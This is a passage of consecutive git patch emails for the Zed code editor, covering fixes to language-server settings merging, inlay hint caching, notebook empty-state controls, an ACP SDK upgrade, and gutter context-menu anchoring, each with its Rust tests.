-                        .position(|entry| entry.name.as_ref() == REST_OF_LANGUAGE_SERVERS)
-                        .unwrap_or(language_server_overrides.len());
-                    for disabled_server in disabled {
-                        if !language_server_overrides.contains(disabled_server) {
-                            language_server_overrides
-                                .insert(insert_before, disabled_server.clone());
-                        }
-                    }
-                }
-                language_settings.language_servers = Some(language_server_overrides);
-            }
+            language_settings.language_servers = language_servers;
         }
 
         // A user's language-specific settings override default language-specific settings.
@@ -93,6 +67,7 @@ impl merge_from::MergeFrom for AllLanguageSettingsContent {
                 existing.merge_from(&user_language_settings);
             } else {
                 let mut new_settings = self.defaults.clone();
+                new_settings.language_servers = None;
                 new_settings.merge_from(&user_language_settings);
 
                 self.languages.0.insert(language_name.clone(), new_settings);
@@ -1364,7 +1339,12 @@ mod test {
     }
 
     #[test]
-    fn test_language_servers_merge_preserves_per_language_config() {
+    fn test_language_servers_merge_keeps_per_language_lists_pure() {
+        let default_typescript_servers = vec![
+            ConfiguredLanguageServer::new_disabled("typescript-language-server"),
+            ConfiguredLanguageServer::new("vtsls"),
+            ConfiguredLanguageServer::new(REST_OF_LANGUAGE_SERVERS),
+        ];
         let mut base = AllLanguageSettingsContent {
             defaults: LanguageSettingsContent {
                 language_servers: Some(vec![REST_OF_LANGUAGE_SERVERS.into()]),
@@ -1374,11 +1354,7 @@ mod test {
                 [(
                     "TypeScript".into(),
                     LanguageSettingsContent {
-                        language_servers: Some(vec![
-                            "!typescript-language-server".into(),
-                            "vtsls".into(),
-                            REST_OF_LANGUAGE_SERVERS.into(),
-                        ]),
+                        language_servers: Some(default_typescript_servers.clone()),
                         ..LanguageSettingsContent::default()
                     },
                 )]
@@ -1390,57 +1366,31 @@ mod test {
 
         let user = AllLanguageSettingsContent {
             defaults: LanguageSettingsContent {
-                language_servers: Some(vec![
-                    "!tailwindcss-language-server".into(),
-                    "!eslint".into(),
-                    REST_OF_LANGUAGE_SERVERS.into(),
-                ]),
+                language_servers: Some(vec!["!vtsls".into(), REST_OF_LANGUAGE_SERVERS.into()]),
                 ..LanguageSettingsContent::default()
             },
             ..AllLanguageSettingsContent::default()
         };
-
         base.merge_from(&user);
-
-        let ts_servers = base.languages.0["TypeScript"]
-            .language_servers
-            .as_ref()
-            .unwrap();
         assert_eq!(
-            ts_servers,
-            &vec![
-                ConfiguredLanguageServer::new_disabled("typescript-language-server"),
-                ConfiguredLanguageServer::new("vtsls"),
-                ConfiguredLanguageServer::new_disabled("eslint"),
-                ConfiguredLanguageServer::new_disabled("tailwindcss-language-server"),
-                ConfiguredLanguageServer::new(REST_OF_LANGUAGE_SERVERS),
-            ]
+            base.languages.0["TypeScript"].language_servers.as_ref(),
+            Some(&default_typescript_servers),
+            "a global list must not rewrite per-language lists"
         );
-
-        let default_servers = base.defaults.language_servers.as_ref().unwrap();
         assert_eq!(
-            default_servers,
-            &vec![
-                ConfiguredLanguageServer::new_disabled("tailwindcss-language-server"),
-                ConfiguredLanguageServer::new_disabled("eslint"),
+            base.defaults.language_servers.as_ref(),
+            Some(&vec![
+                ConfiguredLanguageServer::new_disabled("vtsls"),
                 ConfiguredLanguageServer::new(REST_OF_LANGUAGE_SERVERS),
-            ]
+            ])
         );
-    }
 
-    #[test]
-    fn test_global_language_server_disable_overrides_per_language_enable() {
-        let mut base = AllLanguageSettingsContent {
-            defaults: LanguageSettingsContent {
-                language_servers: Some(vec![REST_OF_LANGUAGE_SERVERS.into()]),
-                ..LanguageSettingsContent::default()
-            },
+        let project = AllLanguageSettingsContent {
             languages: LanguageToSettingsMap(
                 [(
                     "TypeScript".into(),
                     LanguageSettingsContent {
                         language_servers: Some(vec![
-                            "!typescript-language-server".into(),
                             "vtsls".into(),
                             REST_OF_LANGUAGE_SERVERS.into(),
                         ]),
@@ -1452,33 +1402,19 @@ mod test {
             ),
             ..AllLanguageSettingsContent::default()
         };
-
-        let user = AllLanguageSettingsContent {
-            defaults: LanguageSettingsContent {
-                language_servers: Some(vec!["!vtsls".into(), REST_OF_LANGUAGE_SERVERS.into()]),
-                ..LanguageSettingsContent::default()
-            },
-            ..AllLanguageSettingsContent::default()
-        };
-
-        base.merge_from(&user);
-
-        let expected = vec![
-            ConfiguredLanguageServer::new_disabled("typescript-language-server"),
-            ConfiguredLanguageServer::new_disabled("vtsls"),
-            ConfiguredLanguageServer::new(REST_OF_LANGUAGE_SERVERS),
-        ];
+        base.merge_from(&project);
         assert_eq!(
-            base.languages
-                .0
-                .get("TypeScript")
-                .and_then(|settings| settings.language_servers.as_deref()),
-            Some(expected.as_slice()),
+            base.languages.0["TypeScript"].language_servers.as_ref(),
+            Some(&vec![
+                ConfiguredLanguageServer::new("vtsls"),
+                ConfiguredLanguageServer::new(REST_OF_LANGUAGE_SERVERS),
+            ]),
+            "a per-language list must replace the older one wholesale"
         );
     }
 
     #[test]
-    fn test_language_servers_merge_no_per_language_config_uses_global() {
+    fn test_language_servers_merge_no_per_language_config_stays_unset() {
         let mut base = AllLanguageSettingsContent {
             defaults: LanguageSettingsContent {
                 language_servers: Some(vec![REST_OF_LANGUAGE_SERVERS.into()]),
@@ -1508,13 +1444,16 @@ mod test {
 
         base.merge_from(&user);
 
-        let rust_servers = base.languages.0["Rust"].language_servers.as_ref().unwrap();
         assert_eq!(
-            rust_servers,
-            &vec![
+            base.languages.0["Rust"].language_servers, None,
+            "languages without their own list must not get a stale copy of the global one"
+        );
+        assert_eq!(
+            base.defaults.language_servers.as_ref(),
+            Some(&vec![
                 ConfiguredLanguageServer::new_disabled("eslint"),
                 ConfiguredLanguageServer::new(REST_OF_LANGUAGE_SERVERS),
-            ]
+            ])
         );
     }
 

From 90b15493109a2e1267cd3a6bc4c24cc0106ad5dc Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Fri, 24 Jul 2026 12:48:03 +0300
Subject: [PATCH 676/772] Properly replace hints per each chunk (#61562)

Follow-up to hints part of
https://github.com/zed-industries/zed/pull/61523

Instead of appending to the chunk data, we have to replace as we always
get all hints for the entire chunk.
Given that we order and invalidate the requests by `Version`, this can
only happen when a racy requests from e.g. same file split or /refresh
and edit etc. happens.

Release Notes:

- N/A
---
 crates/editor/src/inlays/inlay_hints.rs     | 89 +++++++++++++++++++++
 crates/project/src/lsp_store/inlay_hints.rs | 38 ++++-----
 2 files changed, 109 insertions(+), 18 deletions(-)

diff --git a/crates/editor/src/inlays/inlay_hints.rs b/crates/editor/src/inlays/inlay_hints.rs
index 56cd3e4fc6eb8a..2a10a78515eb03 100644
--- a/crates/editor/src/inlays/inlay_hints.rs
+++ b/crates/editor/src/inlays/inlay_hints.rs
@@ -1008,6 +1008,7 @@ pub mod tests {
     use crate::scroll::ScrollAmount;
     use crate::{Editor, SelectionEffects};
     use collections::HashSet;
+    use futures::channel::oneshot;
     use futures::{StreamExt, future};
     use gpui::{AppContext as _, Context, TestAppContext, WindowHandle};
     use itertools::Itertools as _;
@@ -1220,6 +1221,94 @@ pub mod tests {
             .unwrap();
     }
 
+    #[gpui::test]
+    async fn test_no_hint_duplication_when_refresh_races_with_fetch(cx: &mut gpui::TestAppContext) {
+        init_test(cx, &|settings| {
+            settings.defaults.inlay_hints = Some(InlayHintSettingsContent {
+                enabled: Some(true),
+                ..InlayHintSettingsContent::default()
+            })
+        });
+        let (first_request_unblock, first_request_gate) = oneshot::channel::<()>();
+        let first_request_gate = Arc::new(Mutex::new(Some(first_request_gate)));
+        let lsp_request_count = Arc::new(AtomicU32::new(0));
+        let (_, editor, fake_server) = prepare_test_objects(cx, {
+            let first_request_gate = first_request_gate.clone();
+            let lsp_request_count = lsp_request_count.clone();
+            move |fake_server, file_with_hints| {
+                let lsp_request_count = lsp_request_count.clone();
+                let first_request_gate = first_request_gate.clone();
+                fake_server.set_request_handler::<lsp::request::InlayHintRequest, _, _>(
+                    move |params, _| {
+                        let first_request_gate = first_request_gate.lock().take();
+                        let i = lsp_request_count.fetch_add(1, Ordering::Release) + 1;
+                        async move {
+                            if let Some(first_request_gate) = first_request_gate {
+                                first_request_gate.await.ok();
+                            }
+                            assert_eq!(
+                                params.text_document.uri,
+                                lsp::Uri::from_file_path(file_with_hints).unwrap(),
+                            );
+                            Ok(Some(vec![lsp::InlayHint {
+                                position: lsp::Position::new(0, 1),
+                                label: lsp::InlayHintLabel::String(i.to_string()),
+                                kind: Some(lsp::InlayHintKind::TYPE),
+                                text_edits: None,
+                                tooltip: None,
+                                padding_left: None,
+                                padding_right: None,
+                                data: None,
+                            }]))
+                        }
+                    },
+                );
+            }
+        })
+        .await;
+        cx.executor().advance_clock(Duration::from_secs(1));
+        cx.executor().run_until_parked();
+
+        editor
+            .update(cx, |editor, _window, cx| {
+                assert!(
+                    cached_hint_labels(editor, cx).is_empty(),
+                    "The initial hint fetch is blocked and should not have populated the cache yet"
+                );
+            })
+            .unwrap();
+
+        // Emulate a server refresh request arriving while the initial fetch is still running.
+        fake_server
+            .request::<lsp::request::InlayHintRefreshRequest>((), lsp::DEFAULT_LSP_REQUEST_TIMEOUT)
+            .await
+            .into_response()
+            .unwrap();
+        cx.executor().advance_clock(Duration::from_secs(1));
+        cx.executor().run_until_parked();
+
+        first_request_unblock.send(()).unwrap();
+        cx.executor().advance_clock(Duration::from_secs(1));
+        cx.executor().run_until_parked();
+        assert_eq!(
+            2,
+            lsp_request_count.load(Ordering::Acquire),
+            "The refresh should have re-queried the server"
+        );
+
+        editor
+            .update(cx, |editor, _window, cx| {
+                let expected_hints = vec!["2".to_string()];
+                assert_eq!(
+                    expected_hints,
+                    cached_hint_labels(editor, cx),
+                    "A refresh racing with an in-flight fetch should replace its hints, not duplicate them"
+                );
+                assert_eq!(expected_hints, visible_hint_labels(editor, cx));
+            })
+            .unwrap();
+    }
+
     #[gpui::test]
     async fn test_cache_update_on_lsp_completion_tasks(cx: &mut gpui::TestAppContext) {
         init_test(cx, &|settings| {
diff --git a/crates/project/src/lsp_store/inlay_hints.rs b/crates/project/src/lsp_store/inlay_hints.rs
index e7e110a628a48b..8a48992ee53670 100644
--- a/crates/project/src/lsp_store/inlay_hints.rs
+++ b/crates/project/src/lsp_store/inlay_hints.rs
@@ -177,26 +177,28 @@ impl BufferInlayHints {
         server_id: LanguageServerId,
         new_hints: Vec<(InlayId, InlayHint)>,
     ) {
-        let existing_hints = self.hints_by_chunks[chunk.id]
-            .get_or_insert_default()
-            .entry(server_id)
-            .or_insert_with(Vec::new);
-        let existing_count = existing_hints.len();
-        existing_hints.extend(new_hints.into_iter().enumerate().filter_map(
-            |(i, (id, new_hint))| {
-                let new_hint_for_id = HintForId {
+        let chunk_hints = self.hints_by_chunks[chunk.id].get_or_insert_default();
+
+        // A response always covers the entire chunk, so it supersedes the server's previously
+        // cached hints for this chunk: a concurrent fetch for the same chunk and server
+        // (e.g. a server refresh arriving mid-fetch) would otherwise append the same hints
+        // again under fresh ids, duplicating them.
+        for (stale_id, _) in chunk_hints.remove(&server_id).into_iter().flatten() {
+            self.hints_by_id.remove(&stale_id);
+            self.hint_resolves.remove(&stale_id);
+        }
+        let mut inserted_hints = Vec::with_capacity(new_hints.len());
+        for (id, new_hint) in new_hints {
+            if let hash_map::Entry::Vacant(vacant_entry) = self.hints_by_id.entry(id) {
+                vacant_entry.insert(HintForId {
                     chunk_id: chunk.id,
                     server_id,
-                    position: existing_count + i,
-                };
-                if let hash_map::Entry::Vacant(vacant_entry) = self.hints_by_id.entry(id) {
-                    vacant_entry.insert(new_hint_for_id);
-                    Some((id, new_hint))
-                } else {
-                    None
-                }
-            },
-        ));
+                    position: inserted_hints.len(),
+                });
+                inserted_hints.push((id, new_hint));
+            }
+        }
+        chunk_hints.insert(server_id, inserted_hints);
         *self.fetched_hints(&chunk) = None;
     }
 

From d1548bd0133dca80a7530e249d15104c4e0918b0 Mon Sep 17 00:00:00 2001
From: Arnesh <linkrinku13@gmail.com>
Date: Fri, 24 Jul 2026 16:38:09 +0530
Subject: [PATCH 677/772] repl: Show add-cell controls in empty notebooks
 (#61329)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Objective

When a notebook has no cells, the editor renders a blank pane with no
visible way to add one. Cells can only be added via the toolbar icons or
keybindings, which aren't discoverable from an empty editor — so a newly
created `.ipynb` looks broken.

This is the follow-up direction suggested in #61296.

## Solution

Render an empty-state in the editor body when the notebook has no cells,
with "Add code cell" / "Add markdown cell" buttons (dispatching the
existing `add_code_block` / `add_markdown_block` handlers), matching the
affordance VSCode provides.

## Testing

Tested locally on macOS with the notebook feature enabled
(`LOCAL_NOTEBOOK_DEV=1`):

- Opening an empty `.ipynb` shows the empty-state instead of a blank
pane.
- Clicking "Add code cell" inserts an editable code cell and marks the
tab dirty.

## Showcase

**Before** — empty notebook renders a blank pane:

![Before: blank
pane](https://raw.githubusercontent.com/ArneshBanerjee/zed-jupyter/pr-assets/61329-before.png)

**After** — empty notebook shows add-cell controls:

![After: add-cell
controls](https://raw.githubusercontent.com/ArneshBanerjee/zed-jupyter/pr-assets/61329-after.png)

Clicking "Add code cell" inserts a cell:

![After clicking Add code
cell](https://raw.githubusercontent.com/ArneshBanerjee/zed-jupyter/pr-assets/61329-after-add-cell.png)

Release Notes:

- N/A

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Co-authored-by: Finn Evers <finn.evers@outlook.de>
---
 crates/repl/src/notebook/notebook_ui.rs | 51 ++++++++++++++++++++++++-
 1 file changed, 49 insertions(+), 2 deletions(-)

diff --git a/crates/repl/src/notebook/notebook_ui.rs b/crates/repl/src/notebook/notebook_ui.rs
index a466f2b6eebdcc..00b1f27704ce9c 100644
--- a/crates/repl/src/notebook/notebook_ui.rs
+++ b/crates/repl/src/notebook/notebook_ui.rs
@@ -18,7 +18,7 @@ use language::{Language, LanguageRegistry};
 use log;
 use project::{Project, ProjectEntryId, ProjectPath};
 use settings::Settings as _;
-use ui::{CommonAnimationExt, Tooltip, prelude::*};
+use ui::{CommonAnimationExt, KeyBinding, Tooltip, prelude::*};
 use workspace::item::{ItemEvent, SaveOptions, TabContentParams};
 use workspace::searchable::SearchableItemHandle;
 use workspace::{Item, ItemHandle, Pane, ProjectItem, ToolbarItemLocation};
@@ -1278,6 +1278,44 @@ impl NotebookEditor {
         .size_full()
     }
 
+    fn render_empty_state(&self, cx: &mut Context<Self>) -> impl IntoElement {
+        v_flex()
+            .size_full()
+            .items_center()
+            .justify_center()
+            .gap_3()
+            .child(Label::new("This notebook is empty.").color(Color::Muted))
+            .child(
+                h_flex()
+                    .gap_2()
+                    .child(
+                        Button::new("empty-state-add-code", "Add code cell")
+                            .start_icon(Icon::new(IconName::Code))
+                            .key_binding(KeyBinding::for_action_in(
+                                &AddCodeBlock,
+                                &self.focus_handle,
+                                cx,
+                            ))
+                            .on_click(
+                                cx.listener(|this, _, window, cx| this.add_code_block(window, cx)),
+                            ),
+                    )
+                    .child(
+                        Button::new("empty-state-add-markdown", "Add markdown cell")
+                            .style(ButtonStyle::Subtle)
+                            .start_icon(Icon::new(IconName::FileMarkdown))
+                            .key_binding(KeyBinding::for_action_in(
+                                &AddMarkdownBlock,
+                                &self.focus_handle,
+                                cx,
+                            ))
+                            .on_click(cx.listener(|this, _, window, cx| {
+                                this.add_markdown_block(window, cx)
+                            })),
+                    ),
+            )
+    }
+
     fn cell_position(&self, index: usize) -> CellPosition {
         match index {
             0 => CellPosition::First,
@@ -1477,7 +1515,16 @@ impl Render for NotebookEditor {
                     .w_full()
                     .h_full()
                     .gap_2()
-                    .child(div().flex_1().h_full().child(self.cell_list(window, cx)))
+                    .child(
+                        div()
+                            .flex_1()
+                            .h_full()
+                            .child(if self.cell_order.is_empty() {
+                                self.render_empty_state(cx).into_any_element()
+                            } else {
+                                self.cell_list(window, cx).into_any_element()
+                            }),
+                    )
                     .child(self.render_notebook_controls(window, cx)),
             )
             .child(self.render_kernel_status_bar(window, cx))

From 984e3bd0ce17a3bcc6503adee4f32f68611651ff Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Fri, 24 Jul 2026 13:22:33 +0200
Subject: [PATCH 678/772] acp: Update agent-client-protocol SDK to 2.0.0
 (#61570)

This isn't ACP v2, but just a new version of the SDK where we had to do
some breaking changes + cleanups.

Release Notes:

- N/A
---
 Cargo.lock                      |  25 ++++--
 Cargo.toml                      |   2 +-
 crates/agent_servers/src/acp.rs | 130 ++++++++++++++++++++++++++------
 3 files changed, 124 insertions(+), 33 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 300c9230fd5f7d..683e918ccd6e54 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -323,9 +323,9 @@ dependencies = [
 
 [[package]]
 name = "agent-client-protocol"
-version = "1.3.0"
+version = "2.0.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1d386d6a58f4dbe0ebfa98e915caa54005dabdefd419de3d4678b28cd5752444"
+checksum = "6d87bc7769eba641753ba5dc52f73ec3765d51022c6753bf040967125ddc86a8"
 dependencies = [
  "agent-client-protocol-derive",
  "agent-client-protocol-schema",
@@ -347,19 +347,19 @@ dependencies = [
 
 [[package]]
 name = "agent-client-protocol-derive"
-version = "1.3.0"
+version = "2.0.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "97b94934d118a69e921d14e94d4af5b3076563318c52662c89a0ecb3f139e1da"
+checksum = "3abd4080f51e4f24f5042beb7fb7a66ede29a2dc1c2582c329532e1c27264ddc"
 dependencies = [
  "quote",
- "syn 2.0.117",
+ "syn 3.0.3",
 ]
 
 [[package]]
 name = "agent-client-protocol-schema"
-version = "1.4.0"
+version = "1.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "06679e1542356341f4550ccfb16338b64f37f6af70de2105446ef6fbb078234c"
+checksum = "d5c231915b4ab578c722eca2d1bd7df4d300bfd6cac3b8e9f0d1e3ddc95b187c"
 dependencies = [
  "anyhow",
  "derive_more",
@@ -18156,6 +18156,17 @@ dependencies = [
  "unicode-ident",
 ]
 
+[[package]]
+name = "syn"
+version = "3.0.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "53e9bae58849f64dfa4f5d5ae372c8341f7305f82a3868709269343628b659a3"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "unicode-ident",
+]
+
 [[package]]
 name = "sync_wrapper"
 version = "0.1.2"
diff --git a/Cargo.toml b/Cargo.toml
index 44e6df8376b5d9..7bc339f3b23fc6 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -514,7 +514,7 @@ accesskit = { version = "0.24.0", features = ["enumn"] }
 accesskit_macos = "0.26.0"
 accesskit_unix = "0.21.0"
 accesskit_windows = "0.33.1"
-agent-client-protocol = { version = "=1.3.0", features = ["unstable"] }
+agent-client-protocol = { version = "=2.0.0", features = ["unstable"] }
 aho-corasick = "1.1"
 alacritty_terminal = { git = "https://github.com/zed-industries/alacritty", rev = "4c129667ce56611becdc82de6e28218c80e2e88f" }
 any_vec = "0.14"
diff --git a/crates/agent_servers/src/acp.rs b/crates/agent_servers/src/acp.rs
index ec3b196272e695..2c77dfc16fcfc7 100644
--- a/crates/agent_servers/src/acp.rs
+++ b/crates/agent_servers/src/acp.rs
@@ -81,17 +81,30 @@ pub struct AcpDebugMessage {
 }
 
 impl AcpDebugMessage {
-    fn parse(direction: AcpDebugMessageDirection, line: &str) -> Option<Self> {
+    fn parse_line(direction: AcpDebugMessageDirection, line: &str) -> Vec<Self> {
         if direction == AcpDebugMessageDirection::Stderr {
-            return Some(Self {
+            return vec![Self {
                 direction,
                 message: AcpDebugMessageContent::Stderr {
                     line: Arc::from(line),
                 },
-            });
+            }];
         }
 
-        let value: serde_json::Value = serde_json::from_str(line).ok()?;
+        let Ok(value) = serde_json::from_str(line) else {
+            return Vec::new();
+        };
+
+        match value {
+            serde_json::Value::Array(entries) => entries
+                .into_iter()
+                .filter_map(|entry| Self::parse_value(direction, entry))
+                .collect(),
+            value => Self::parse_value(direction, value).into_iter().collect(),
+        }
+    }
+
+    fn parse_value(direction: AcpDebugMessageDirection, value: serde_json::Value) -> Option<Self> {
         let object = value.as_object()?;
 
         let parsed_id = object
@@ -178,26 +191,29 @@ impl AcpDebugLog {
     }
 
     fn record_line(&self, direction: AcpDebugMessageDirection, line: &str) {
-        let Some(message) = AcpDebugMessage::parse(direction, line) else {
+        let messages = AcpDebugMessage::parse_line(direction, line);
+        if messages.is_empty() {
             return;
-        };
-        self.record_message(message);
+        }
+        self.record_messages(messages);
     }
 
-    fn record_message(&self, message: AcpDebugMessage) {
+    fn record_messages(&self, messages: Vec<AcpDebugMessage>) {
         let mut state = self
             .state
             .lock()
             .unwrap_or_else(|poisoned| poisoned.into_inner());
 
-        if state.messages.len() == MAX_DEBUG_BACKLOG_MESSAGES {
-            state.messages.pop_front();
-        }
-        state.messages.push_back(message.clone());
-
         state.subscribers.retain(|sender| !sender.is_closed());
-        for sender in &state.subscribers {
-            sender.try_send(message.clone()).log_err();
+        for message in messages {
+            if state.messages.len() == MAX_DEBUG_BACKLOG_MESSAGES {
+                state.messages.pop_front();
+            }
+            state.messages.push_back(message.clone());
+
+            for sender in &state.subscribers {
+                sender.try_send(message.clone()).log_err();
+            }
         }
     }
 
@@ -322,7 +338,6 @@ where
     Notif: Send + 'static,
 {
     notification: Notif,
-    connection: ConnectionTo<Agent>,
     handler: fn(Notif, &mut AsyncApp, &ClientContext),
 }
 
@@ -334,17 +349,12 @@ where
         let Self {
             notification,
             handler,
-            ..
         } = *self;
         handler(notification, cx, ctx);
     }
 
     fn reject(self: Box<Self>) {
-        let Self { connection, .. } = *self;
         log::error!("ACP foreground dispatch queue closed while handling inbound notification");
-        connection
-            .send_error_notification(dispatch_queue_closed_error())
-            .log_err();
     }
 }
 
@@ -370,14 +380,12 @@ fn enqueue_request<Req, Res>(
 fn enqueue_notification<Notif>(
     dispatch_tx: &mpsc::UnboundedSender<ForegroundWork>,
     notification: Notif,
-    connection: ConnectionTo<Agent>,
     handler: fn(Notif, &mut AsyncApp, &ClientContext),
 ) where
     Notif: Send + 'static,
 {
     let work: ForegroundWork = Box::new(NotificationForegroundWork {
         notification,
-        connection,
         handler,
     });
     if let Err(err) = dispatch_tx.unbounded_send(work) {
@@ -685,8 +693,8 @@ fn connect_client_future(
     macro_rules! on_notification {
         ($handler:ident) => {{
             let dispatch_tx = dispatch_tx.clone();
-            async move |notif, connection| {
-                enqueue_notification(&dispatch_tx, notif, connection, $handler);
+            async move |notif, _connection| {
+                enqueue_notification(&dispatch_tx, notif, $handler);
                 Ok(())
             }
         }};
@@ -3150,6 +3158,78 @@ mod tests {
         );
     }
 
+    #[test]
+    fn debug_log_records_each_json_rpc_batch_entry() {
+        let debug_log = AcpDebugLog::default();
+        debug_log.record_line(
+            AcpDebugMessageDirection::Incoming,
+            r#"{"jsonrpc":"2.0","method":"legacy/update"}"#,
+        );
+        debug_log.record_line(
+            AcpDebugMessageDirection::Incoming,
+            r#"[
+                {"jsonrpc":"2.0","method":"session/update","params":{"value":1}},
+                null,
+                [{"jsonrpc":"2.0","method":"nested/update"}],
+                {"jsonrpc":"2.0","id":1,"method":"session/one","params":{"value":2}},
+                {"jsonrpc":"2.0","id":{"invalid":true},"method":"invalid/id"}
+            ]"#,
+        );
+        debug_log.record_line(
+            AcpDebugMessageDirection::Outgoing,
+            r#"[
+                {"jsonrpc":"2.0","id":1,"result":{"accepted":true}},
+                {"jsonrpc":"2.0","id":null,"error":{"code":-32600,"message":"Invalid Request"}}
+            ]"#,
+        );
+
+        let (messages, _receiver) = debug_log.subscribe();
+        let mut messages = messages.iter();
+
+        assert!(matches!(
+            messages.next(),
+            Some(AcpDebugMessage {
+                direction: AcpDebugMessageDirection::Incoming,
+                message: AcpDebugMessageContent::Notification { method, .. },
+            }) if method.as_ref() == "legacy/update"
+        ));
+        assert!(matches!(
+            messages.next(),
+            Some(AcpDebugMessage {
+                direction: AcpDebugMessageDirection::Incoming,
+                message: AcpDebugMessageContent::Notification { method, .. },
+            }) if method.as_ref() == "session/update"
+        ));
+        assert!(matches!(
+            messages.next(),
+            Some(AcpDebugMessage {
+                direction: AcpDebugMessageDirection::Incoming,
+                message: AcpDebugMessageContent::Request { id, method, .. },
+            }) if id == &acp::RequestId::Number(1) && method.as_ref() == "session/one"
+        ));
+        assert!(matches!(
+            messages.next(),
+            Some(AcpDebugMessage {
+                direction: AcpDebugMessageDirection::Outgoing,
+                message: AcpDebugMessageContent::Response {
+                    id,
+                    result: Ok(Some(_)),
+                },
+            }) if id == &acp::RequestId::Number(1)
+        ));
+        assert!(matches!(
+            messages.next(),
+            Some(AcpDebugMessage {
+                direction: AcpDebugMessageDirection::Outgoing,
+                message: AcpDebugMessageContent::Response {
+                    id,
+                    result: Err(_),
+                },
+            }) if id == &acp::RequestId::Null
+        ));
+        assert!(messages.next().is_none());
+    }
+
     #[test]
     fn session_directories_use_ordered_paths_when_supported() {
         let work_dirs = PathList::new(&[

From e9c484165dc80b366792bea748e4546d47f4011a Mon Sep 17 00:00:00 2001
From: guopenghui <guopeng_hui@126.com>
Date: Fri, 24 Jul 2026 20:20:06 +0800
Subject: [PATCH 679/772] Fix adding breakpoint/bookmark via gutter context
 menu using the wrong row (#59269)

# Objective

Fixes #59265

## Solution

Use `display_point_to_anchor` to properly convert `DisplayRow` to
`Anchor`, instead of manually constructing `Point` directly as done
currently.

## Testing

- Tested manually, see video in issue
- Tested on windows

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase


<details>
  <summary>Click to view showcase</summary>

My super cool demos here

</details>

---

Release Notes:

- Fixed the gutter context menu adding breakpoints/bookmarks to the
wrong row in multibuffers.

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 crates/editor/src/editor.rs       |   8 ++-
 crates/editor/src/editor_tests.rs | 111 ++++++++++++++++++++++++++++++
 2 files changed, 116 insertions(+), 3 deletions(-)

diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index f5a05444fc4631..aa2a5db2f17667 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -5859,14 +5859,16 @@ impl Editor {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        let snapshot = self.buffer.read(cx).snapshot(cx);
-        let source = snapshot.anchor_before(Point::new(display_row.0, 0u32));
+        let display_snapshot = self.display_snapshot(cx);
+        let display_point = display_row.as_display_point();
+        let source = display_snapshot.display_point_to_anchor(display_point, Bias::Left);
         let anchor = position.unwrap_or(source);
 
         // Every entry in this menu either requires a worktree-file-backed buffer
         // (breakpoints, bookmarks, run to cursor) or is meaningless without one
         // (git blame), so don't open it for e.g. untitled buffers.
-        if !snapshot
+        if !display_snapshot
+            .buffer_snapshot()
             .anchor_to_buffer_anchor(anchor)
             .is_some_and(|(_, buffer_snapshot)| {
                 project::File::from_dyn(buffer_snapshot.file()).is_some()
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 5e43b80e5f2c6c..c3bdea117a494e 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -5,6 +5,7 @@ use crate::{
     edit_prediction_tests::FakeEditPredictionDelegate,
     element::{StickyHeader, header_jump_data},
     linked_editing_ranges::LinkedEditingRanges,
+    mouse_context_menu::MenuPosition,
     runnables::RunnableTasks,
     scroll::scroll_amount::ScrollAmount,
     test::{
@@ -31515,6 +31516,116 @@ async fn test_gutter_context_menu_hidden_for_unsaved_buffer(cx: &mut TestAppCont
     });
 }
 
+#[gpui::test]
+async fn test_gutter_context_menu_anchor_in_multibuffer(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let fs = FakeFs::new(cx.executor());
+    let root_path = path!("/root");
+    fs.insert_tree(
+        root_path,
+        json!({
+            "first.rs": "fn one() {}\nfn two() {}\nfn three() {}\n",
+            "second.rs": "fn four() {}\nfn five() {}\nfn six() {}\n",
+        }),
+    )
+    .await;
+
+    let project = Project::test(fs, [root_path.as_ref()], cx).await;
+    let window = cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+    let cx = &mut VisualTestContext::from_window(*window, cx);
+    let worktree_id = project.read_with(cx, |project, cx| {
+        project.worktrees(cx).next().unwrap().read(cx).id()
+    });
+
+    let buffer_a = project
+        .update(cx, |project, cx| {
+            project.open_buffer((worktree_id, rel_path("first.rs")), cx)
+        })
+        .await
+        .unwrap();
+
+    let buffer_b = project
+        .update(cx, |project, cx| {
+            project.open_buffer((worktree_id, rel_path("second.rs")), cx)
+        })
+        .await
+        .unwrap();
+
+    let multi_buffer = cx.new(|cx| {
+        let mut multi_buffer = MultiBuffer::new(ReadWrite);
+
+        multi_buffer.set_excerpts_for_path(
+            PathKey::sorted(0),
+            buffer_a.clone(),
+            [Point::new(0, 0)..Point::new(2, 0)],
+            0,
+            cx,
+        );
+
+        multi_buffer.set_excerpts_for_path(
+            PathKey::sorted(1),
+            buffer_b.clone(),
+            [Point::new(0, 0)..Point::new(2, 0)],
+            0,
+            cx,
+        );
+
+        multi_buffer
+    });
+
+    let (editor, cx) = cx.add_window_view(|window, cx| {
+        Editor::new(
+            EditorMode::full(),
+            multi_buffer,
+            Some(project.clone()),
+            window,
+            cx,
+        )
+    });
+
+    // Open the gutter context menu on a display row inside the second excerpt,
